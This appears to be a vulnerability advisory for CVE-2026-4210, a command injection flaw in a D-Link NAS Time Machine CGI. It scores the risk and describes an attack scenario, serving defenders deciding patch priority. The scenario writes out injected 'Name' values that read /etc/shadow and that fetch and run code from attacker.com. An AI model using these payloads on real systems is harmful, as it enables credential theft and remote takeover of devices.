Dnr 202l CVE-2026-4210

This vulnerability presents moderate-to-high real-world risk despite the CVSS 6.3 score being in the 'medium' range. Key risk factors: (1) Attack Vector is Network (AV:N) and Attack Complexity is Low (AC:L), meaning exploitation is trivial once authenticated; (2) Requires Privilege Level Low (PR:L), reducing barriers—many NAS devices have default credentials or users set weak passwords; (3) Public POC is available on GitHub, dramatically lowering the skill floor for attackers; (4) Scope is Unchanged (S:U) but the Confidentiality, Integrity, and Availability impacts are all Low (C:L/I:L/A:L), though in practice command injection on a NAS typically permits full system compromise, suggesting CVSS underestimates severity; (5) CVSS Exploitability rating shows Proof-of-Concept (E:P) and Reliability is Reasonable (RC:R). The SSVC perspective: exploitation status is Proof-of-Concept (public), the attack is automatable, and technical impact on a NAS (data access, system control) is significant. Organizations operating these NAS models in production should treat this as HIGH PRIORITY for patching, particularly if internet-facing or in environments with user access. The authentication requirement provides a modest protective factor but is insufficient given typical NAS deployment patterns where credentials are shared or weak.

An attacker gains low-privilege access to a D-Link NAS device (e.g., via credential stuffing against default or weak credentials, or as a legitimate limited user). The attacker browses to the NAS web interface and navigates to Time Machine share settings. Using the publicly available POC from GitHub (wudipjq/my_vuln repository), the attacker crafts a request to /cgi-bin/time_machine.cgi with a malicious 'Name' parameter containing shell metacharacters, such as: 'Name=Share1; cat /etc/shadow #' or 'Name=$(wget http://attacker.com/malware -O /tmp/x && bash /tmp/x)'. The unsanitized parameter is passed to a system command (likely a shell script or exec call), executing the injected payload with root privileges. The attacker achieves remote code execution, potentially exfiltrating NAS data, modifying backups, pivoting to the internal network, or installing persistent backdoors. The entire attack takes minutes with the public POC and requires no deep technical skill.